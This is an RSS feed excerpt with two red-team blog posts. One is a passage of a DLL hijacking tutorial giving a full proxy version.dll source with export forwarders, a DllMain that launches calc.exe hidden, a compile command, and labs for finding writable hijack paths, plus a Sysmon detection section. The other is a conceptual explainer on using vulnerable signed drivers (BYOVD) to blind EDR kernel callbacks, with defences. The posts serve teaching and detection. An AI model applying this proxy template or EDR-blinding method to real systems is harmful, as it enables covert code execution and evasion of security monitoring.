&lt;p&gt;What this does: it adds entries to your DLL's export table that don't point to code inside your DLL — they point directly to the corresponding function in the real DLL. Windows resolves these at load time. When the application calls &lt;code&gt;GetFileVersionInfoA&lt;/code&gt; on your DLL, Windows follows the forward pointer straight to the real function in System32.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;@1&lt;/code&gt; at the end is the &lt;strong&gt;ordinal number&lt;/strong&gt; — the numeric identifier for that export. It needs to match the ordinal from the real DLL's export table exactly. Applications that import by ordinal instead of by name will break if this doesn't match.&lt;/p&gt;

&lt;p&gt;Two things that catch people out here:&lt;/p&gt;

&lt;p&gt;The path uses double backslashes in C strings. And the DLL name does &lt;strong&gt;not&lt;/strong&gt; include &lt;code&gt;.dll&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;c&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// correct&lt;/span&gt;
&lt;span class="s"&gt;"C:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;System32&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;version.GetFileVersionInfoA"&lt;/span&gt;

&lt;span class="c1"&gt;// wrong — will not link&lt;/span&gt;
&lt;span class="s"&gt;"C:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;System32&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;version.dll.GetFileVersionInfoA"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The linker already knows it's a DLL. Don't add the extension.&lt;/p&gt;

&lt;h4&gt;
  
  
  The Complete Proxy
&lt;/h4&gt;

&lt;p&gt;Putting it together — a full proxy for &lt;code&gt;version.dll&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;c&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#pragma comment(linker,"/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA,@1")
#pragma comment(linker,"/export:GetFileVersionInfoByHandle=C:\\Windows\\System32\\version.GetFileVersionInfoByHandle,@2")
#pragma comment(linker,"/export:GetFileVersionInfoExA=C:\\Windows\\System32\\version.GetFileVersionInfoExA,@3")
#pragma comment(linker,"/export:GetFileVersionInfoExW=C:\\Windows\\System32\\version.GetFileVersionInfoExW,@4")
#pragma comment(linker,"/export:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA,@5")
#pragma comment(linker,"/export:GetFileVersionInfoSizeExA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExA,@6")
#pragma comment(linker,"/export:GetFileVersionInfoSizeExW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExW,@7")
#pragma comment(linker,"/export:GetFileVersionInfoSizeW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeW,@8")
#pragma comment(linker,"/export:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW,@9")
#pragma comment(linker,"/export:VerFindFileA=C:\\Windows\\System32\\version.VerFindFileA,@10")
#pragma comment(linker,"/export:VerFindFileW=C:\\Windows\\System32\\version.VerFindFileW,@11")
#pragma comment(linker,"/export:VerInstallFileA=C:\\Windows\\System32\\version.VerInstallFileA,@12")
#pragma comment(linker,"/export:VerInstallFileW=C:\\Windows\\System32\\version.VerInstallFileW,@13")
#pragma comment(linker,"/export:VerLanguageNameA=C:\\Windows\\System32\\version.VerLanguageNameA,@14")
#pragma comment(linker,"/export:VerLanguageNameW=C:\\Windows\\System32\\version.VerLanguageNameW,@15")
#pragma comment(linker,"/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA,@16")
#pragma comment(linker,"/export:VerQueryValueW=C:\\Windows\\System32\\version.VerQueryValueW,@17")
&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;Windows.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="n"&gt;BOOL&lt;/span&gt; &lt;span class="n"&gt;APIENTRY&lt;/span&gt; &lt;span class="nf"&gt;DllMain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HMODULE&lt;/span&gt; &lt;span class="n"&gt;hModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;dwReason&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LPVOID&lt;/span&gt; &lt;span class="n"&gt;lpReserved&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dwReason&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;DLL_PROCESS_ATTACH&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;WinExec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"calc.exe"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SW_HIDE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Compile it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="kd"&gt;cl&lt;/span&gt; &lt;span class="na"&gt;/LD &lt;/span&gt;&lt;span class="kd"&gt;version&lt;/span&gt;.c &lt;span class="na"&gt;/o &lt;/span&gt;&lt;span class="kd"&gt;version&lt;/span&gt;.dll
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Drop it in the hijackable directory. Launch the target. Your payload runs. Application keeps running. Nobody crashes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Detection — What EDRs Actually See
&lt;/h3&gt;

&lt;p&gt;DLL hijacking is stealthy by design. The loader does the loading, a legitimate process does the executing, and your DLL may even be sitting in a location that looks completely reasonable. But it's not invisible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sysmon Event ID 7 — ImageLoad&lt;/strong&gt; is the primary telemetry source. Every DLL load generates this event with the full image path and the signing status of the loaded module. A defender looking at Event 7 can ask two questions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Is this DLL being loaded from a user-writable path?
Is this DLL signed by a trusted publisher?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An unsigned DLL loading from &lt;code&gt;C:\Program Files\SomeApp\version.dll&lt;/code&gt; when &lt;code&gt;version.dll&lt;/code&gt; is a known signed Microsoft binary is a high-confidence signal. &lt;/p&gt;

&lt;p&gt;The combination of path anomaly plus missing signature is what triggers a detection — not either one alone.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What makes search order hijacking and phantom DLL loading detectable:&lt;/strong&gt; the loaded path doesn't match where the legitimate DLL should be. A defender with a baseline of "what DLLs load from where on a clean system" catches this immediately on comparison.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What makes side-loading harder to detect:&lt;/strong&gt; the loading process is a legitimate, signed binary. The DLL path may look reasonable — it's in the same directory as the executable. The parent process is trusted. Without signature verification of the loaded DLL itself, it blends in. &lt;/p&gt;

&lt;p&gt;This is exactly why real APT groups — Lazarus, APT41, and others — rely on side-loading over the other two variants. The legitimacy of the loader provides cover.&lt;/p&gt;

&lt;p&gt;The full detection picture requires correlating three things together:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Load path + signing status + parent process reputation
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Any one of those alone is insufficient. All three together is a reliable signal.&lt;/p&gt;

&lt;h3&gt;
  
  
  Lab — See It Yourself
&lt;/h3&gt;

&lt;p&gt;What you need: ProcMon, Process Hacker, WinObj (Sysinternals), a Windows lab VM&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lab 1 — Map the KnownDLLs boundary&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Sysinternals WinObj → navigate to \KnownDLLs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Write down every DLL name you see there. These are permanently off-limits for search order hijacking. Everything not on this list is theoretically fair game. This gives you an instant mental filter before you open ProcMon.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lab 2 — Find phantom DLL candidates with ProcMon&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Set filters:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Result    is    NAME NOT FOUND
Path      ends with    .dll
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Launch any application you have installed — VLC, Notepad++, 7-Zip. Let it fully load. Scroll through the results. For each entry, ask:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="nb"&gt;icacls&lt;/span&gt; &lt;span class="s2"&gt;"C:\path\from\procmon\output"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Any directory showing &lt;code&gt;(W)&lt;/code&gt; or &lt;code&gt;(F)&lt;/code&gt; for &lt;code&gt;BUILTIN\Users&lt;/code&gt; is a writable candidate. Cross-reference the DLL name against your KnownDLLs list from Lab 1.&lt;/p&gt;

&lt;p&gt;What this proves: you can go from zero knowledge to a confirmed hijackable target in under 10 minutes on almost any Windows system with third-party software installed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lab 3 — Verify a candidate end to end&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Pick one confirmed candidate from Lab 2. Build a minimal DLL that just spawns &lt;code&gt;calc.exe&lt;/code&gt; in &lt;code&gt;DllMain&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;c&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;BOOL&lt;/span&gt; &lt;span class="n"&gt;APIENTRY&lt;/span&gt; &lt;span class="nf"&gt;DllMain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HMODULE&lt;/span&gt; &lt;span class="n"&gt;hModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DWORD&lt;/span&gt; &lt;span class="n"&gt;reason&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LPVOID&lt;/span&gt; &lt;span class="n"&gt;lpReserved&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;reason&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;DLL_PROCESS_ATTACH&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;WinExec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"calc.exe"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SW_SHOW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Drop it in the writable path. Launch the target application. If calc opens — you have confirmed execution.&lt;/p&gt;

&lt;p&gt;Then open Process Hacker, find the target process, go to the Modules tab, and find your DLL in the loaded module list. Note the path and the missing signature field.&lt;/p&gt;

&lt;p&gt;What this proves: the full chain from ProcMon finding to confirmed code execution, exactly as a real engagement would flow.&lt;/p&gt;




&lt;h3&gt;
  
  
  What's Next
&lt;/h3&gt;

&lt;p&gt;DLL hijacking relies on the Windows loader doing its job — finding and mapping your DLL because the application asked for it. But what if you're writing shellcode that runs before any loader exists? How does shellcode find the functions it needs without calling &lt;code&gt;GetProcAddress&lt;/code&gt; or importing anything?&lt;/p&gt;

&lt;p&gt;The answer is in the PEB — the same structure you've seen referenced across every blog in this series. Next post: &lt;strong&gt;Walking the PEB to Resolve APIs — How Shellcode Finds kernel32.dll Without Imports.&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>exploitdevelopment</category>
      <category>malwaredevelopment</category>
      <category>readteam</category>
    </item>
    <item>
      <title>BYOVD Explained — How Attackers Use Signed Drivers to Kill EDRs</title>
      <dc:creator>nimesh nakum</dc:creator>
      <pubDate>Tue, 09 Jun 2026 03:21:15 +0000</pubDate>
      <link>https://dev.to/redforge/byovd-explained-how-attackers-use-signed-drivers-to-kill-edrs-46dg</link>
      <guid>https://dev.to/redforge/byovd-explained-how-attackers-use-signed-drivers-to-kill-edrs-46dg</guid>
      <description>&lt;p&gt;Your EDR sees everything. Process launches, thread injections, DLL loads, filesystem writes. It has eyes inside the kernel — little hooks that fire before anything consequential happens, passing information up to the agent, letting it decide whether to block or alert.&lt;/p&gt;

&lt;p&gt;Now imagine something reaches into that kernel and quietly removes the hooks. No crash. No blue screen. No alert. The EDR process is still running, the dashboard still shows healthy, but the inputs it depends on are just gone.&lt;/p&gt;

&lt;p&gt;This is part of windows internals I've been exploring — understanding how systems actually behave under the hood, not just how tools interact with them.&lt;/p&gt;

&lt;p&gt;That's not a Windows bug. That's a trust problem.&lt;/p&gt;

&lt;p&gt;BYOVD doesn't exploit Windows — it exploits trust.&lt;/p&gt;




&lt;h2&gt;
  
  
  Ring 0 vs Ring 3 — The Boundary That Matters
&lt;/h2&gt;

&lt;p&gt;Windows splits execution into privilege levels. Your applications, your malware, your EDR agent — they all run in Ring 3, user mode. The kernel runs in Ring 0.&lt;/p&gt;

&lt;p&gt;In my previous posts, I focused on how processes and execution work from an attacker's perspective. This goes one layer deeper — into the kernel where those assumptions start to break.&lt;/p&gt;

&lt;p&gt;This isn't just organizational. The CPU enforces it. Ring 3 code cannot directly read kernel memory. It cannot call kernel functions. Every interaction goes through a controlled interface — syscalls — and the kernel decides whether to honor each request.&lt;/p&gt;

&lt;p&gt;This is why typical malware stays loud. It has to use syscalls. Syscalls can be intercepted and monitored.&lt;/p&gt;

&lt;p&gt;At Ring 0, security tools are just data structures.&lt;/p&gt;

&lt;p&gt;Get code running in the kernel and those data structures become writable. The callback tables EDRs rely on, the hook registrations, the minifilter stack — all of it is reachable, readable, modifiable.&lt;/p&gt;




&lt;h2&gt;
  
  
  A Quick Personal Note on Why This Boundary Matters
&lt;/h2&gt;

&lt;p&gt;Early on when I was messing around with kernel concepts, I tried doing something simple from user mode — reading a memory address that I knew belonged to a kernel structure. The kind of thing that would be trivially readable if you were in Ring 0.&lt;/p&gt;

&lt;p&gt;The access violation came back immediately. Not a permission dialog, not a warning — just a hard stop from the CPU. You don't get to negotiate.&lt;/p&gt;

&lt;p&gt;That failure stuck with me. The wall between Ring 3 and Ring 0 isn't a software check you can route around with the right API. It's enforced at the hardware level. And that's exactly why getting something &lt;em&gt;trusted&lt;/em&gt; to carry you across that boundary is so valuable to an attacker. You don't climb the wall — you find someone with a key.&lt;/p&gt;




&lt;h2&gt;
  
  
  Drivers and the IOCTL Bridge
&lt;/h2&gt;

&lt;p&gt;To load code at Ring 0, Windows requires a signed kernel driver. The signature has to come from a trusted certificate authority, and on 64-bit Windows, Driver Signature Enforcement makes this non-negotiable — no valid signature, no kernel access.&lt;/p&gt;

&lt;p&gt;So attacker-written code can't just walk in. But legitimate drivers can. And some of those legitimate drivers have problems.&lt;/p&gt;

&lt;p&gt;Drivers expose functionality to user-mode applications through an interface called IOCTL — Input/Output Control. It's the communication channel between user land and a running driver. You send a request, the driver processes it, you get a result.&lt;/p&gt;

&lt;p&gt;If a driver's IOCTL handling is careless — if it lets caller-supplied data determine what memory gets read or written — then an attacker with that driver loaded has a working channel into kernel memory. No exploitation of Windows itself required.&lt;/p&gt;

&lt;p&gt;A vulnerable driver doesn't exploit the kernel — it exposes it.&lt;/p&gt;




&lt;h2&gt;
  
  
  What an EDR Actually Does Inside the Kernel
&lt;/h2&gt;

&lt;p&gt;It helps to understand what's actually being attacked.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Process creation callbacks&lt;/strong&gt; fire whenever a new process spawns. EDRs register here to inspect launches, verify signatures, inject their monitoring components before the process has a chance to do anything.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Thread creation callbacks&lt;/strong&gt; catch remote thread injection — when one process tries to spawn a thread inside another. Classic injection technique, and this is where it gets caught.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Image load callbacks&lt;/strong&gt; fire when a DLL or executable is mapped into memory. Unsigned modules, suspicious paths, known-bad hashes — all detectable here.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Minifilters&lt;/strong&gt; sit on the filesystem stack and intercept reads and writes before they complete. This is how EDRs scan files on access, block malicious writes, and log filesystem activity.&lt;/p&gt;

&lt;p&gt;All of these mechanisms share the same underlying model: the EDR registers a function with the kernel, and the kernel calls that function at the right moment. The EDR's entire value proposition is built on those callbacks firing reliably.&lt;/p&gt;

&lt;p&gt;Remove the callbacks, remove the EDR.&lt;/p&gt;




&lt;h2&gt;
  
  
  The BYOVD Concept
&lt;/h2&gt;

&lt;p&gt;Three steps, conceptually.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;One&lt;/strong&gt; — load a legitimate, signed, vulnerable driver. Windows sees a valid signature and accepts it without complaint. No alerts, no prompts. The driver is in the kernel.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Two&lt;/strong&gt; — communicate with the driver from user mode via IOCTL. Because the driver is vulnerable, it accepts requests that give the caller access to kernel memory reads or writes. The attacker uses this to navigate kernel structures — find what they're looking for.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Three&lt;/strong&gt; — modify the structures that matter. Specifically, the callback registrations that make EDRs work. Clear the entries. Overwrite the function pointers. Surgically. The system keeps running, the EDR process stays alive, but its kernel-level visibility is gone.&lt;/p&gt;

&lt;p&gt;The driver is a tool. A signed, vendor-approved crowbar.&lt;/p&gt;




&lt;h2&gt;
  
  
  Where It Actually Breaks the EDR
&lt;/h2&gt;

&lt;p&gt;Kernel callbacks are implemented as arrays of function pointers. When the kernel fires a "process created" event, it walks the array and calls each registered function in order. Security tools register their detection routines into this array.&lt;/p&gt;

&lt;p&gt;The array lives in kernel memory. It's data is Writable data, if you have access.&lt;/p&gt;

&lt;p&gt;Remove an entry from the array and that function never gets called. The EDR never sees the process launch. No alert, no block, no log entry.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;If the callback never runs, the detection never exists.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Think of it like a security camera system. The monitors are on, the control room is staffed, operators are watching. But someone has quietly cut the feed from the cameras covering the area that matters. Nothing looks wrong from the inside — screens still show footage, systems still report healthy. The operators just happen to be blind to exactly the right corner of the building.&lt;/p&gt;

&lt;p&gt;That's what a successfully tampered EDR looks like from the attacker's perspective. Not broken. Just aimed at nothing.&lt;/p&gt;




&lt;h2&gt;
  
  
  The High-Level Flow
&lt;/h2&gt;

&lt;p&gt;User-mode process initiates. A signed, known-vulnerable driver binary is written to disk and loaded through standard Windows driver loading mechanisms. It passes signature validation. It enters the kernel.&lt;/p&gt;

&lt;p&gt;From user mode, the attacker's code opens a handle to the driver and begins sending IOCTL requests. The driver, due to its vulnerability, processes these requests in ways that expose kernel memory access.&lt;/p&gt;

&lt;p&gt;Through that channel, the attacker locates kernel structures holding EDR callback registrations, with the help of base address and specific offsets. This targeting is deliberate — specific structures, specific offsets, specific security products.&lt;/p&gt;

&lt;p&gt;Those structures are modified. Callback entries are cleared or overwritten. The EDR continues running in user mode, completely unaware that its kernel hooks no longer fire.&lt;/p&gt;

&lt;p&gt;From that point on, the attacker operates in a space the EDR can't see.&lt;/p&gt;




&lt;h2&gt;
  
  
  Want to See This in Action (Safely)
&lt;/h2&gt;

&lt;p&gt;If you want to understand how these pieces actually fit together — drivers, IOCTL communication, and kernel callbacks — I built a &lt;strong&gt;safe, hands-on lab&lt;/strong&gt; that walks through each component step by step.&lt;/p&gt;

&lt;p&gt;It doesn't replicate the attack directly, but it shows the exact mechanisms BYOVD relies on.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/Nimesh-Nakum/windows-kernel-internals-lab" rel="noopener noreferrer"&gt;github&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://medium.com/@nimeshnakum3/byovd-explained-how-attackers-use-signed-drivers-to-kill-edrs-37a96bde4094" rel="noopener noreferrer"&gt;medium blog&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Real-World: Lazarus and the Driver Playbook
&lt;/h2&gt;

&lt;p&gt;Lazarus Group has been documented using BYOVD in real intrusions. They're not unique in this — several advanced groups have adopted the technique — but they're one of the more extensively documented cases.&lt;/p&gt;

&lt;p&gt;What's notable isn't that they found sophisticated zero-days or developed novel exploitation chains. They went looking through public records of known-vulnerable drivers, found ones still carrying valid signatures, and used them.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Advanced attackers don't need new vulnerabilities — they need old trust.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A driver signed five years ago by a legitimate hardware vendor is still signed. If it has a memory access vulnerability and isn't on a blocklist, it's still usable on modern Windows. The attack surface here is time — the lag between a vulnerability being known, documented, and then actually blocked across the install base.&lt;/p&gt;

&lt;p&gt;That lag can be years.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Works: The Trust Model
&lt;/h2&gt;

&lt;p&gt;Windows kernel trust is binary. Code is either signed and admitted or it isn't. Once admitted, there's no secondary behavioral analysis running on kernel-mode code in real time. The kernel doesn't second-guess things that are already running inside it.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Once code enters Ring 0, it becomes part of the system.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Signed drivers are trusted not because of what they do, but because of what they are. The gate is the signature, not the behavior. A driver that exposes arbitrary memory access is still trusted as long as the certificate is valid and not revoked.&lt;/p&gt;

&lt;p&gt;And revocation is slow. Getting a driver onto Microsoft's blocklist requires coordination, testing, and update delivery. Vendors don't always respond quickly. Microsoft's list has gaps. And not every Windows installation gets updates promptly.&lt;/p&gt;

&lt;p&gt;The math works out in the attacker's favor.&lt;/p&gt;




&lt;h2&gt;
  
  
  Defensive Reality
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Driver blocklists&lt;/strong&gt; exist. Microsoft maintains a Vulnerable Driver Blocklist that Windows will enforce. It's updated through Defender and Windows Update. It helps, It doesn't cover everything, and new vulnerable drivers surface faster than the list grows.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HVCI (Hypervisor-Protected Code Integrity)&lt;/strong&gt; is more meaningful. It uses virtualization  -- VBS like VTL1 , to protect kernel memory from modification and enforces that only validly signed code can execute in Ring 0. It raises the bar significantly — many BYOVD techniques don't work cleanly against it. The catch is compatibility; older drivers can break, and deployment isn't universal.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Monitoring driver loads&lt;/strong&gt; is practical right now. Logging when drivers are loaded, checking them against known-vulnerable lists, alerting on unexpected driver load events — this is achievable with most modern security stacks. It's detective, not preventive, but catching a vulnerable driver being loaded is an actionable signal.&lt;/p&gt;

&lt;p&gt;The honest reality: detection often happens &lt;em&gt;after&lt;/em&gt; trust has already been granted. The IOCTL communication that modifies callback arrays can complete in milliseconds. By the time a driver load alert surfaces in a SIEM, the damage may already be done. Speed of detection and response matters here more than it does for most techniques.&lt;/p&gt;

&lt;p&gt;Know your driver baseline. Know what normally loads in your environment. Anomalies are easier to catch when you know what normal looks like.&lt;/p&gt;




&lt;h2&gt;
  
  
  Closing
&lt;/h2&gt;

&lt;p&gt;BYOVD is uncomfortable to think about because it plays by the rules. No memory corruption in Windows itself. No kernel vulnerability. No zero-day.&lt;/p&gt;

&lt;p&gt;It finds a signed piece of code that was trusted by the system and uses that trust as a stepping stone into the kernel. Then it modifies the data structures that make EDR visibility possible, from a place the EDR can't reach or monitor.&lt;/p&gt;

&lt;p&gt;The attack is a mirror held up to a specific assumption — that a signed driver is a safe driver, that trust extended is trust correctly placed, that the signature verification model is sufficient.&lt;/p&gt;

&lt;p&gt;BYOVD doesn't break Windows security — it reveals its boundaries.&lt;/p&gt;

&lt;p&gt;The more you look at these systems from the inside, the more you realize that most “security” is really about visibility — and once that visibility is gone, everything else becomes optional.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Understanding this technique matters because it reframes what EDR coverage actually means. It's conditional. Conditional on the kernel callbacks firing. Conditional on the driver blocklist being current. Conditional on trust decisions made years ago by vendors who may have shipped and forgotten about a product long since deprecated. That conditionality is worth building your detection strategy around.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>redteam</category>
      <category>cybersecurity</category>
    </item>
  </channel>
</rss>
